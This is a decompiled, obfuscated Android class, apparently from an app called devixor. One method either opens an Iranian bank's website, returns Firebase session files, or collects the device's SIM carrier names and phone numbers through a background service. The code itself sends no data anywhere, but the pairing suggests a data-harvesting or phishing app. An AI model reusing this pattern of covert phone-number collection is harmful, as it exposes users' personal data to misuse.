package o;

import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import ir.devixor.app.service.ForegroundService;
import java.io.File;
import java.io.IOException;
import java.util.LinkedHashMap;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* renamed from: o.Yd, reason: case insensitive filesystem */
/* loaded from: classes.dex */
public final /* synthetic */ class C0626Yd implements NC {
    public final /* synthetic */ int l;
    public final /* synthetic */ Context m;

    public /* synthetic */ C0626Yd(Context context, int i) {
        this.l = i;
        this.m = context;
    }

    @Override // o.NC
    public final Object a() throws JSONException, IOException {
        int i = this.l;
        Context context = this.m;
        switch (i) {
            case 0:
                Intent intent = new Intent("android.intent.action.VIEW", Uri.parse("https://blubank.sb24.ir/"));
                intent.addFlags(268435456);
                context.startActivity(intent);
                return Oh0.a;
            case 1:
                File fileS = As0.s(context, "firebaseSessions/sessionConfigsDataStore.data");
                ME.n(fileS);
                return fileS;
            case 2:
                File fileS2 = As0.s(context, "firebaseSessions/sessionDataStore.data");
                ME.n(fileS2);
                return fileS2;
            default:
                boolean z = ForegroundService.w;
                LinkedHashMap linkedHashMap = new LinkedHashMap();
                JSONArray jSONArrayZ = ForegroundService.Z(context);
                int length = jSONArrayZ.length();
                for (int i2 = 0; i2 < length; i2++) {
                    JSONObject jSONObject = jSONArrayZ.getJSONObject(i2);
                    linkedHashMap.put(jSONObject.getString("carrier_name"), jSONObject.getString("phone_number"));
                }
                return linkedHashMap;
        }
    }

    public /* synthetic */ C0626Yd(ForegroundService foregroundService, Context context) {
        this.l = 3;
        this.m = context;
    }
}
